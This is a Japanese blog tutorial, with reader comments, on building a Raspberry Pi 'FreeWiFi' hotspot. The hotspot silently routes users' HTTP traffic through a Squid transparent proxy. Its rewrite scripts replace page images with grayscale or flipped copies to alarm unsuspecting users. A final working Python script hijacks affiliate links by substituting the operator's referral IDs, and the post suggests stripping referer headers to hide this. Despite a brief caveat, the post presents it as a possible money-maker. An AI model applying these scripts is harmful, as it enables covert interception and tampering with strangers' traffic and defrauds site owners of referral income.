2015年01月30日

RPi - Raspberry Pi でジョーク(+金鉱?)Wi-Fi ホットスポットを作る方法

表示される Web ページがおかしい・・・もしかしてパソコンがおかしくなったのかしら?。 そんな、使う人をパニックにさせてしまうジョーク・ホットスポット(もしかしたらお金も生み出せるかも!)を Raspberry Pi を使って作ってみますよ。

joke

Raspberry Pi で作るジョーク無線 LAN ホットスポットの概要


僕達が普段 Web サイトをブラウジングするとき、それが一つのページであるかのように見ています。 しかし、その実体は複数の部品(タグ)で構成されておりブラウザはそれぞれの構成要素を HTTP で取得してからページ全体をレンダリング(描画)しています。

web_page_structure

通常この描画前に行われるデータの処理に対して第三者が積極的に介在することはできませんが、Raspberry Pi でホットスポットを構築し、接続したユーザーのトラフィックを Squid(代理、プロキシ・サーバー)に転送して書き換えてしまえば話は別。

joke_wifi_hotstpot

Squid には url_rewrite_program というアクセス先 URL を書き換える機能があり、これを上手く使うと最終的にユーザーのブラウザに渡すデータを置き換え、びっくりさせることができるのです。


ジョーク無線 LAN ホットスポットの作り方


必要な部品は Raspberry Pi、無線 LAN アダプタ、有線 LAN 環境の3つ。 僕は I-O データの販売する WN-G300UA を無線 LAN アダプタに使います。

raspberry pi


OS は Raspbian。 最低限のセットアップが終わったらベースになるパッケージをインストール。

$ sudo apt-get install isc-dhcp-server apache2 squid3 hostapd


無線 LAN アダプタ(wlan0)は接続する側、つまりクライアントでは無く master(アクセス・ポイント)として使い、そのアドレスは 10.0.0.1 とします。 次のコマンドで wlan0 にアドレスを設定しましょう。

pi@raspberrypi ~ $ sudo ifconfig wlan0 10.0.0.1 netmask 255.255.255.0 up
pi@raspberrypi ~ $ ifconfig wlan0
wlan0     Link encap:イーサネット  ハードウェアアドレス 34:76:c5:1c:e3:af
          inetアドレス:10.0.0.1 ブロードキャスト:10.0.0.255  マスク:255.255.255.0


再起動時に自動設定するなら /etc/network/interfaces にも設定する必要あり。

pi@raspberrypi ~ $ sudo vi /etc/network/interfaces
auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
#iface wlan0 inet manual
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
#iface default inet dhcp

iface wlan0 inet static
  address 10.0.0.1
  netmask 255.255.255.0


wlan0 でホットスポットを実現してくれるのが hostapd。 一度サービスを止め、

pi@raspberrypi ~ $ sudo service hostapd stop


hostapd.conf を作ります。 ssid はクライアントから見える SSID 名(ホットスポットの名称)、wpa_passphrase が接続する際に入力するパスワード。

pi@raspberrypi ~ $ sudo vi /etc/hostapd/hostapd.conf
interface=wlan0 ssid=FreeWiFi hw_mode=g channel=1 wpa_passphrase=secret-passwd wpa_key_mgmt=WPA-PSK wpa=2 rsn_pairwise=CCMP


用意ができたら次のコマンドで master モードで動作するかを確認。

pi@raspberrypi ~ $ sudo hostapd /etc/hostapd/hostapd.conf


エラーがでなければOK。 僕の使う WN-G300UA はエラーが出るのでチップの製造元である Realtek Semiconductor 社のダウンロード・ページからユーティリティを入手、ビルドします。

pi@raspberrypi ~ $ unzip RTL8188C_8192C_USB_linux_v4.0.2_9000.20130911.zip
pi@raspberrypi ~ $ tar xvzf RTL8188C_8192C_USB_linux_v4.0.2_9000.20130911/wpa_supplicant_hostapd/wpa_supplicant_hostapd-0.8_rtw_r7475.20130812.tar.gz -C ~/.
pi@raspberrypi ~ $ cd ~/wpa_supplicant_hostapd-0.8_rtw_r7475.20130812/hostapd
pi@raspberrypi ~ $ make
pi@raspberrypi ~ $ sudo cp hostapd hostapd_cli /usr/sbin/

※僕がビルドした hostapd ここに置いときますね。

ここまで確認できたら /etc/default/hostapd を編集して設定ファイルのパスを追記します。

pi@raspberrypi ~ $ vi /etc/default/hostapd
DAEMON_CONF=/etc/hostapd/hostapd.conf


さあ、ホットスポット・サービスを起動しましょう。

pi@raspberrypi ~ $ sudo service hostapd start


これで電波は飛ぶ(波が立つ)ようになりましたが、利用するクライアントがインターネットへ接続するにはもう少し作業が必要。 まず、IP アドレスをリースする DHCP サーバーを設定します。 これは /etc/dhcp/dhcpd.conf を編集して、10.0.0.0/24 ネットワークを定義、10.0.0.100 から 10.0.0.200 の range でアドレスをリースすることにします。 routers は接続したクライアントから見てトラフィックの出口となる wlan0 のアドレスですよ。

pi@raspberrypi ~ $ sudo vi /etc/dhcp/dhcpd.conf

ddns-update-style none;
option domain-name "example.org";
option domain-name-servers ns1.example.org, ns2.example.org;
default-lease-time 600;
max-lease-time 7200;
log-facility local7;

subnet 10.0.0.0 netmask 255.255.255.0 {
  range 10.0.0.100 10.0.0.200;
  option domain-name "";
  option domain-name-servers 8.8.8.8, 8.8.4.4;
  option routers 10.0.0.1;
  default-lease-time 600;
  max-lease-time 7200;
}


起動する前に /etc/default/isc-dhcp-server を編集して、INTERFACE を wlan0 に設定しておきましょうね。

pi@raspberrypi ~ $ sudo vi /etc/default/isc-dhcp-server

# On what interfaces should the DHCP server (dhcpd) serve DHCP requests?
#       Separate multiple interfaces with spaces, e.g. "eth0 eth1".
INTERFACES="wlan0"


これで DHCP サーバーもおしまい。

$ sudo /etc/init.d/isc-dhcp-server start
Starting ISC DHCP server: dhcpd.


最後に Raspberry Pi をルーターにしましょう。 次の例では IP トラフィックの転送を有効にしつつ、10.0.0.0/24 ネットワーク(無線)からのトラフィックを有線 LAN(eth0)側へ NAT ルーティングしています(この設定は再起動すると消えるので注意)。

# enable ip traffic forwarding.
$ sudo sysctl -w net.ipv4.ip_forward=1
# enable nat router (from wlan0 to eth0). $ sudo iptables -t nat -A POSTROUTING -s "10.0.0.0/255.255.255.0" -o eth0 -j MASQUERADE


これで一般的な無線 LAN ホットスポットとしては動いているはずです(もし、上手く動かないのであれば DHCP サーバーの設定が終わったところで一度 Raspberry Pi を再起動してみて下さい)。


画像を反転・グレースケールにするジョーク・ホットスポット


ジョークするなら、まず squid.conf を作りましょう(# + add 行が追加)。

pi@raspberrypi ~ $ sudo vi /etc/squid3/squid.conf

acl manager proto cache_object acl localhost src 127.0.0.1/32 ::1 acl to_localhost dst 127.0.0.0/8 0.0.0.0/32 ::1 acl localnet src 10.0.0.0/24 # + add acl SSL_ports port 443 acl Safe_ports port 80 # http acl Safe_ports port 21 # ftp acl Safe_ports port 443 # https acl Safe_ports port 70 # gopher acl Safe_ports port 210 # wais acl Safe_ports port 1025-65535 # unregistered ports acl Safe_ports port 280 # http-mgmt acl Safe_ports port 488 # gss-http acl Safe_ports port 591 # filemaker acl Safe_ports port 777 # multiling http acl CONNECT method CONNECT http_access allow manager localhost http_access deny manager http_access deny !Safe_ports http_access deny CONNECT !SSL_ports http_access allow localhost http_access allow localnet # + add http_access deny all http_port 3128 transparent # + add (transparent) coredump_dir /var/spool/squid3 refresh_pattern ^ftp: 1440 20% 10080 refresh_pattern ^gopher: 1440 0% 1440 refresh_pattern -i (/cgi-bin/|\?) 0 0% 0 refresh_pattern . 0 20% 4320 url_rewrite_children 10 # + add url_rewrite_program /etc/squid3/joke_image.py # + add


url_rewrite_program として指定している /etc/squid3/joke_image.py は新たに作る必要があります。 まず内容を見てみましょうか。

#!/usr/bin/env python
import os
import sys
import requests
import Image
import hashlib

HOST_ADDR = "10.0.0.1"
DOC_ROOT = '/var/www'
IMAGE_DIR = 'images'
IMAGE_SAVE_DIR = DOC_ROOT + '/' + IMAGE_DIR
LOG_FILE = "/tmp/rewrite.log"
IS_DEBUG = False

def log(msg):
    if IS_DEBUG:
        f = open(LOG_FILE, 'a+', buffering=0)
        f.write(msg + '\n')
        f.close()

def rewrite(stdin):
    params = stdin.split(' ')
    log('STDIN: ' + stdin)
    # http://hoge/path/to/image.jpg
    url = params[0]
    log("URL: " + url)
    if HOST_ADDR in url:
        log('do nothing')
        return url + '\n'

    # path: http://hoge/path/to/image, ext: .jpg
    path, ext = os.path.splitext(url)
    if ext == '.jpg' or ext == '.png':
        digest = hashlib.md5(path).hexdigest()
        local_name = digest + ext
        local_path =  IMAGE_SAVE_DIR + '/' + local_name
        joke = digest + '_joke' + ext
        joke_path =  IMAGE_SAVE_DIR + '/' + joke
        if os.path.isfile(local_path) is False:
            try:
                log("downloading... " + local_path)
                img = open(local_path, 'wb', buffering=0)
                img.write(requests.get(url).content)
                log('closing image...')
                img.close()
                log('converting... ' + joke_path)
                # rotate 180
                #Image.open(local_path).rotate(180).save(joke_path)
                # grayscale
                Image.open(local_path).convert('L').save(joke_path)
                log('JOKE: ' + joke_path)
                os.chmod(joke_path, 0644)
                log('image processing end.')
                url = 'http://' + HOST_ADDR + '/' + IMAGE_DIR + '/' + joke
            except Exception, err:
                log('exception occurred! ' + str(err))
        else:
            url = 'http://' + HOST_ADDR + '/' + IMAGE_DIR + '/' + joke

    return url + '\n'

while True:
    stdin = sys.stdin.readline().strip()
    rewrited_url = rewrite(stdin)
    log('RERITED URL: ' + rewrited_url)
    sys.stdout.write(rewrited_url)
    sys.stdout.flush()


url_rewrite_program には幾つかのルールがあります。

クライアントが HTTP 通信始めるとき squid は url_rewrite_program にその情報を標準出力でパイプします(squid | url_rewrite_program)。 url_rewrite_program プログラムが標準入力をリードすると次のようなメッセージを受信できます。

 http://www.google.co.jp/ 10.0.0.101/- - GET myip=216.58.220.195 myport=80


これを元に新たな URL を標準出力(改行コードが必要)すると、やはり squid もパイプ経由で受け取り(squid | url_rewrite_program | squid)、その URL に基づく HTTP レスポンスをクライアントに返します(クライアントは実際にリクエストした URL が変わっていることには気が付きません)。

squid rewrite program stream

I/O に関してはバッファーを使わないで下さい。 buffered な I/O を使うとフラッシュされないので説明した rewrite ストリームが止まってしまいます。

#細かい話ですが、Squid は rewrite プログラムがどのような言語で実装されているかは全く気にしません。 ですから、行頭の Shebang (ここでは #!/usr/bin/env python)も忘れずに!

さて、仕組みがイメージできたら rewrite メソッドを見てみましょう。 このプログラムは(自分宛ではない) HTTP リクエスト先 URL の最後が .jpg 又は .png だったならば、URL から作成したハッシュ・ダイジェスト値を名前にしてローカル(/var/www/images)に一旦保存しています。 また、このままではジョークにならないので Image.open(local_path).convert('L').save(joke_path) としてグレースケールの別ファイルを作り、クライアントにはその URL(http://10.0.0.1/images/xxxxxxxxxxxxxx_joke.jpg)をレスポンスしています。

え、なんとなくわかった? じゃあ、動かしてみましょうよ!

ローカルの Web サーバー(apache2)はイントール済みですが、ジョークな画像イメージを保存する images ディレクトリは自分で作りましょう。

pi@raspberrypi ~ $ sudo mkdir /var/www/images
pi@raspberrypi ~ $ sudo chmod 777 /var/www/images
pi@raspberrypi ~ $ sudo service apache2 restart


joke_image.py に必要になる幾つかのライブラリをインストールして、squid3 を再起動。

# install dependencies
pi@raspberrypi ~ $ sudo apt-get install python-imaging python-requests
# change mode pi@raspberrypi ~ $ sudo chmod 755 /etc/squid3/joke_image.py
# restart squid3 pi@raspberrypi ~ $ sudo service squid3 restart


wlan0 で受信した HTTP(80 番ポート)宛のリクエストを squid(デフォルトで 3128 ポートで起動)へリダイレクトします。 これでクライアントは意識することなく、HTTP トラフィックが Squid を経由することになります(この設定も OS を再起動すると消えます)。

pi@raspberrypi ~ $ sudo iptables -t nat -A PREROUTING -i wlan0 -p tcp --dport 80 -j REDIRECT --to-port 3128


さて、ふつう総務省のホームページ(http://www.soumu.go.jp/)はこう見えます。

Joke WiFi - Mozilla Firefox -0


ジョーク・ホットスポット(ここでは FreeWiFi)へ接続した端末(PC)で同じページを見てみると・・・

Joke WiFi - Mozilla Firefox-1


わーわー!、グレースケールになってる!

joke_image.py を編集し、Image.open(local_path).convert('L').save(joke_path) をコメント・アウト、その逆に Image.open(local_path).rotate(180).save(joke_path) をコメント・インして squid を再起動してみましょう(/var/www/images/ 下に作成されているキャッシュ・ファイルは削除して下さいね)。

                ... snip ...
                # rotate 180
                Image.open(local_path).rotate(180).save(joke_path)
                # grayscale
                #Image.open(local_path).convert('L').save(joke_path)
                ... snip ...


再び同じページを開いて見ると・・・

Joke WiFi - Mozilla Firefox-2


わーわーわー!、逆さまになってる!

ね、何処か楽しいジョークでしょ! この仕組みを応用したもっと楽しいアイデア(ジョーク)が沢山あるかもしれません。

もし、貴方がジョーク・ホットスポットを大変気に入って iptables, sysctrl の設定まで永続化したいと思ったならば手順は次の通りです。

# save iptables setting.
pi@raspberrypi ~ $ sudo sh -c "iptables-save > /etc/squid3/squid.iptables"
pi@raspberrypi ~ $ sudo vi /etc/rc.local
... snip ...
iptables-restore < /etc/squid3/squid.iptables # + add
exit 0

# save sysctrl setting.
pi@raspberrypi ~ $ sudo vi /etc/sysctl.conf
... snip ...
net.ipv4.ip_forward = 1 # + add


金鉱? 紹介リンクを書き換えるリンク・ブラックホール


何故僕がこの記事を書いているか。 その一番の動機は無料の無線 LAN サービスにおいてクライアントのトラフィックを書き換え、収入に結びつけている!、という話題を目にしてその実現手法に知的好奇心が湧いていたから。

シナリオはこうです。 インターネット上のコンテンツはその価値の対価、運用費用を得る仕組みの一つとして自身のサイト上でコンテンツと関連のある商品を宣伝・紹介し、もしユーザーが購入した場合には紹介料を受け取ることができる、というマネタイズ・スキームがあります。

また、このような場合、リンク元サイトでは紹介する商品のリンク先 URL に自身を表す何かしらのパラメーターを設定します。 例えば、紹介したユーザーを表す ID が uid、リンク元サイトを表す ID が sid ならばこんな URL。

http://web-shops.hoge.co.jp?item_id=1234567890&uid=000&sid=111


この仕組みをターゲットにした次のような url_rewrite_program があったらどうなるでしょうか?

#!/usr/bin/env python
import sys
import urlparse
import urllib

MONEY_URL = 'http://web-shops.hoge.co.jp'
MONEY_SITE_ID = 888
MONEY_USER_ID = 999

def rewrite(stdin):
    params = stdin.split(' ')
    url = params[0]
    if url.startswith(MONEY_URL):
        if 'sid=' in url and 'uid=' in url:
            pr = urlparse.urlparse(url) # => ParseResult
            q = dict(urlparse.parse_qsl(pr.query)) # query parameters to dict
            q.update({'sid':MONEY_SITE_ID, 'uid':MONEY_USER_ID}) # update parameters value
            url = urlparse.urlunparse(pr._replace(query = urllib.urlencode(q))) # reconstruct url

    return url + '\n'


while True:
    stdin = sys.stdin.readline().strip()
    rewrited_url = rewrite(stdin)
    sys.stdout.write(rewrited_url)
    sys.stdout.flush()


利用者は気が付きませんが、実際に HTTP リクエストする URL は別の紹介者(例えば貴方)を表す http://web-shops.hoge.co.jp?item_id=1234567890&uid=888&sid=999 に変換されてしまいます。

より高度に自分の ID を埋め込むかもしれませんし、リンク元 URL の特定に利用する可能性があるリファラー情報も squid のパラメーター(header_access referer deny all)で消すことができそうです。

うーん、なるほど。 こんな方法で実現出来るんですねぇ。

このような手法は利用者から見ると気分が良いものではありません(また、アフェリエイト・プログラムの利用規約違反になる場合もあるでしょう)が、その仕組みを知っていればただ怖い・不安と騒ぐだけでは無く正しい判断ができますよね。

え、この記事は大変おもしろかったから対価をお支払いしたい!?・・・では、Raspberry Pi と相性の良い(hostapd の動作確認ができている)無線 LAN アダプタを幾つか「ご紹介」させて頂きますね。  (´?ω・)つ

I-O DATA IEEE802.11n/g/b準拠 300Mbps(規格値) 無線LANアダプター WN-G300UA
アイ・オー・データ機器 (2012-10-20)
売り上げランキング: 684

BUFFALO 無線LAN子機 コンパクトモデル 11n技術・11g/b対応 WLI-UC-GNM
バッファロー (2010-06-25)
売り上げランキング: 14

Posted by netbuffalo at 21:30│Comments(6)TrackBack(0)Raspberry Pi | ネットワーク


この記事へのトラックバックURL

http://trackback.blogsys.jp/livedoor/netbuffalo/4957916
この記事へのコメント
5
めっちゃ面白かったです。私はタブレットでネットを見るときに宣伝のバナーが画面下に表示されて鬱陶しいのでそれを消すのに使おうと思います。

でも、hostapdに対応してるアダプタって割と少ないので、明記しておいたほうが苦情が来なくていいかもしれませんよ。
お礼にアイ・オーのアンテナ付きのアダプタをポチさせてもらいました。
これからも良い記事書いてください。よろしくお願いします。
Posted by おしこうじ at 2015年01月31日 09:17
おしこうじさん、コメントありがとうございます。
hostapdに対応したアダプタの明記、ご助言ありがとうございます(考えてみます)。
#こんなに早く対価を得ることができるとは思いませんでした!(笑)
Posted by netbuffalo at 2015年01月31日 09:46
5
対応してるアダプタの件ですが、別にリストが欲しいとかいう意味ではなく、対応してるか調べてから買ってね、と一文入れといたほうが良いんじゃない?という意味です。誤解されたならごめんなさい。
Posted by おしこうじ at 2015年01月31日 22:37
おしこうじさん、コメントありがとうございます。
ご指摘の通り、勝手に誤解してどう紹介しようかと思案していました ヽ(´Д`;≡;´Д`)丿
この場をお借りして、全ての無線LANアダプタでhostapdが動くわけではないこと、注意喚起させて頂きます!
Posted by netbuffalo at 2015年02月01日 00:35
5
大変興味深い記事をありがとうございました。春休みの勉強がてらニートしている僕のラズパイに仕事を与えてみようと思います。

広告踏んでアンテナ購入させていただきました。届くのが待ちどおしいです!
Posted by ケレセウェ at 2016年02月24日 00:35
ケレセウェさん、楽しんで頂いて何よりです。
僕も紹介料レポートを見るのが楽しみです(笑)!
Posted by netbuffalo at 2016年02月24日 15:24

コメントする

名前
URL
 
  絵文字